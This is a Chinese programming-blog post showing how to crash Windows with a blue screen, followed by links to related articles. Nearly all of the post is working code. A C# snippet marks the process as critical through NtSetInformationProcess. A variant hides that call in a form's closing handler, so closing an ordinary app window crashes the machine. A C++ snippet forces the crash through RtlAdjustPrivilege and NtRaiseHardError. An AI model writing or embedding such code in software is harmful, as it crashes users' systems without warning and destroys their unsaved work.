C#几行代码让windows蓝屏
2021/8/29 7:06:56
本文主要是介绍C#几行代码让windows蓝屏,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
话不多说,上代码:
[DllImport("ntdll.dll", SetLastError = true)] private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength); static void Main(string[] args) { int isCritical = 1; // we want this to be a Critical Process int BreakOnTermination = 0x1D; // value for BreakOnTermination (flag) Process.EnterDebugMode(); //acquire Debug Privileges // setting the BreakOnTermination = 1 for the current process NtSetInformationProcess(Process.GetCurrentProcess().Handle, BreakOnTermination, ref isCritical, sizeof(int)); }
添加的引用:
System.Runtime.InteropServices和System.Diagnostics的引用
实例:
[DllImport("ntdll.dll", SetLastError = true)] private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength); private void Form1_FormClosing(object sender, FormClosingEventArgs e) { int isCritical = 1; // we want this to be a Critical Process int BreakOnTermination = 0x1D; // value for BreakOnTermination (flag) Process.EnterDebugMode(); //acquire Debug Privileges // setting the BreakOnTermination = 1 for the current process NtSetInformationProcess(Process.GetCurrentProcess().Handle, BreakOnTermination, ref isCritical, sizeof(int));
当然,用C++也有同样的效果:
#include <iostream> #include <Windows.h> #include <winternl.h> using namespace std; typedef NTSTATUS(NTAPI *pdef_NtRaiseHardError)(NTSTATUS ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask OPTIONAL, PULONG_PTR Parameters, ULONG ResponseOption, PULONG Response); typedef NTSTATUS(NTAPI *pdef_RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled); int main() { BOOLEAN bEnabled; ULONG uResp; LPVOID lpFuncAddress = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlAdjustPrivilege"); LPVOID lpFuncAddress2 = GetProcAddress(GetModuleHandle("ntdll.dll"), "NtRaiseHardError"); pdef_RtlAdjustPrivilege NtCall = (pdef_RtlAdjustPrivilege)lpFuncAddress; pdef_NtRaiseHardError NtCall2 = (pdef_NtRaiseHardError)lpFuncAddress2; NTSTATUS NtRet = NtCall(19, TRUE, FALSE, &bEnabled); NtCall2(STATUS_FLOAT_MULTIPLE_FAULTS, 0, 0, 0, 6, &uResp); return 0; }
这篇关于C#几行代码让windows蓝屏的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2022-03-01沐雪多租宝商城源码从.NetCore3.1升级到.Net6的步骤
- 2024-11-15C#中怎么从PEM格式的证书中提取公钥?-icode9专业技术文章分享
- 2024-11-14云架构设计——如何用diagrams.net绘制专业的AWS架构图?
- 2024-05-08首个适配Visual Studio平台的国产智能编程助手CodeGeeX正式上线!C#程序员必备效率神器!
- 2024-03-30C#设计模式之十六迭代器模式(Iterator Pattern)【行为型】
- 2024-03-29c# datetime tryparse
- 2024-02-21list find index c#
- 2024-01-24convert toint32 c#
- 2024-01-24Advanced .Net Debugging 1:你必须知道的调试工具
- 2024-01-24.NET集成IdGenerator生成分布式全局唯一ID